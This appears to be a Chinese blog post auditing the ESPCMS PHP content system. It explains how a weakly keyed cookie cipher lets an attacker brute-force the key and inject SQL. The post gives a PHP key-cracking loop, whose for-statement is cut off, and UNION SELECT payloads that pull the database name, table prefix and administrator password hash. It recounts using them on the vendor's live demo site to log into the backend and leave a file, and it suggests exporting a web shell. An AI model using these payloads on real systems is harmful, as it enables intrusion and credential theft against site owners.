php代码审计zhuru,[php 代码审计]Espcms 暴力注入

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

闲生寄别

落野彷徨云翳月,昏鸦倦鸟归缠绵

春风不晓霜林晚,但觉人间白发生

芸芸求索何所依,天涯孤影任我行

踏马归蹄英满地,蓦首辄笑狂狷人

代码分析

先淫一手诗,开始本文.

最近看了下espcms的代码,发现了个比较有意思的注入

interface\membermain.php 第 33行

$db_sql = "SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid WHERE a.userid = $this->ec_member_username_id ";

难道是 int 注入 ,继续跟进 public\class_connector.php 第 415 行

function member_purview($userrank = false, $url = null, $upurl = false) {

........

$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));

list($this->ec_member_username_id, $this->ec_member_alias, $this->ec_member_integral, $this->ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;

.......

}

哈哈 直接从cookie的 ecisp_member_info中取出来,不过这里有个加密函数,

public\class_function.php 第179 行

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {

$result = '';

if ($operation == 'ENCODE') {

for ($i = 0; $i < strlen($string); $i++) {

$char = substr($string, $i, 1);

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

$char = chr(ord($char) + ord($keychar));

$result.=$char;

}

$result = base64_encode($result);

$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);

} elseif ($operation == 'DECODE') {

$data = str_replace(array('-', '_'), array('+', '/'), $string);

$mod4 = strlen($data) % 4;

if ($mod4) {

$data .= substr('====', $mod4);

}

$string = base64_decode($data);

for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; }

额 很明显 这种函数式可逆的,只需要找出key即系统中的db_pscode 继续跟进 db_pscode 生成 install\fun_center.php 第 238 行

$pscode = rand('99', '999'); $config .= "define('db_pscode', '" . md5(md5($pscode)) . "');\r\n";

好吧 随机生成 ..... 在围观下 cookies中 ecisp_member_info的生成吧 interface\member.php 第 110 行

$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]

|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));

用户id 名称 邮箱 等等信息,这些对于攻击者都是可知的,那不是可以重举99到999 的key来匹配这些信息,计算出key之后,即可以操作cookie,传入任意sql语句(具体代码见附件中)

for($i=99;$i

$key=md5(md5($i));

msg("Test $i :".$key);

$admin_ClassURL=md5("http://".$argv[1]."/");

$real_cookie_info=eccode($temp,'DECODE',$key);

if($real_cookie_info){

if(strpos($real_cookie_info,$argv[2]) && strpos($real_cookie_info,$argv[3]) && strpos($real_cookie_info,$admin_ClassURL)){

msg("The Key Is :".$key);

break;

}

}

}

利用演示

例如 官方演示站 ,几百次之后得到key= 95e87f86a2ffde5110e93c2823634927

7.jpg

先实验下 select user()

Member_info 的明文为

1 and 1=2 union select 1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28

Eccode 之后 (程序见附件)

8.jpg

编辑cookies 传入注入语句

91.jpg

刷新下会员中心 http://xxx.cn/index.php?ac=membermain&at=editinfo

6.jpg

数据出来出来鸟,测试可行 查询数据库

$sql_exp=" 1 and 1=2 union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";

得到当前数据库为 espcmsdemo,查询表前缀

select table_name from information_schema.tables where table_schema=0x657370636D7364656D6F limit 1

前缀到手

查管理员用户名 密码

select concat(username,CHAR(0x7c),password) from espdemo_admin_member limit 1

得到管理员用户名|密码,解密md5 之后 杀进后台

4.jpg

连接之 留txt 走人

10.jpg

附件下载

点我下载

Tips :如果找不到后台可以试试注入导出shell,爆绝对路径地址:爆绝对路径:interface/3gwap_search.php.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
EspCMS 原名:EasySitePM 。一款适用于不同类型企业使用的网站管理平于,它具有多语言、繁简从内核转换、 SEO搜索优化、图片自定生成、用户自定界面、可视化订单管理系统、可视化邮件设置、模板管理、数据缓存+图片缓 存+文件缓存三重提高访问速度、百万级数据快速读取测试、基于PHP+MYSQL系统开发,功能包括:产品管理、文章管 理、订单处理、单页信息、会员管理、留言管理、论坛、模板管理、语言管理、权限自定等。   ESPCMS初次安装注意事项:   一、更新语言引导文件    登陆后台后选择“网站语言管理”-“语言列表”-将您要开通的语言进行“生成引导文件”操作!(提示:如未生成 引导文件,则除当前默认语言可以查看外,其它语言查看会出错,因此需要全部生成!另外,如您的网站在本地调试 ,生成的是以当前环境为主,当网站上传到服务器后,建议再重新生成一次!)   二、当前系统默认是以动态页面显示,如您网站处于调试状态,建议以动态显示为主,当网站调试结束后,再开 启“静态页面生成”功能,然后对整站进行生成操作!   三、当前系统默认“关闭缓存”,如网站处理调式阶段,建议关闭,网站如处于运营状态,则建议“开启”。   四、如您网站上传的服务器属于Linux类型,建议您对相关权限目录进行读写权限检查操作。    1、登陆后台    2、选择“系统维护”- “文件夹权限检查”    3、对未设置读写权限操作的文件夹进行“777”权限操作   五、系统支持伪静态功能,请确定您的服务器是否支持该功能,并将htaccess的.htaccess文件复制到根目录及 相关语言目录中!   六、如您本地调试URL地址和服务器URL地址不一样,请登陆“系统设置”-“网站参数设置”,对“网站网址”进行更 改   七、系统初次使用无静态页,如访问静态页面出错,请进行生成或修改为动态显示即可!   八、系统中包括两套模板,goods为当前模板,请注意不要修改错误!   九、安装完毕后,请删掉到install目录

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值